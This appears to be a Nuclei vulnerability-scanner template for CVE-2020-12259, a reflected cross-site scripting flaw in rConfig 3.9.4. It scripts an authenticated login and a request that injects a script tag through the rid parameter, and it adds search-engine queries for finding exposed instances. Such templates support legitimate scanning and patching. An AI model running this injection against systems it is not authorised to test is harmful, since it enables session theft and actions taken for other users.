rConfig 3.9.4 - Cross-Site Scripting

id: CVE-2020-12259

info:
  name: rConfig 3.9.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    rConfig 3.9.4 is vulnerable to reflected XSS. The configDevice.php file improperly validates user input. An attacker can exploit this vulnerability by crafting arbitrary JavaScript in the rid GET parameter of devicemgmnt.php
  impact: |
    Authenticated attackers can inject malicious JavaScript through the rid parameter, potentially stealing session cookies or performing administrative actions on behalf of authenticated users.
  remediation: |
    Upgrade to rConfig version 3.9.7 or later.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12259
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-12259
    cwe-id: CWE-79
    epss-score: 0.96248
    epss-percentile: 0.9988
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2020,cve,rconfig,authenticated,xss,vuln

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /configDevice.php?rid="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
          - 'contains(content_type_3, "text/html")'
        condition: and
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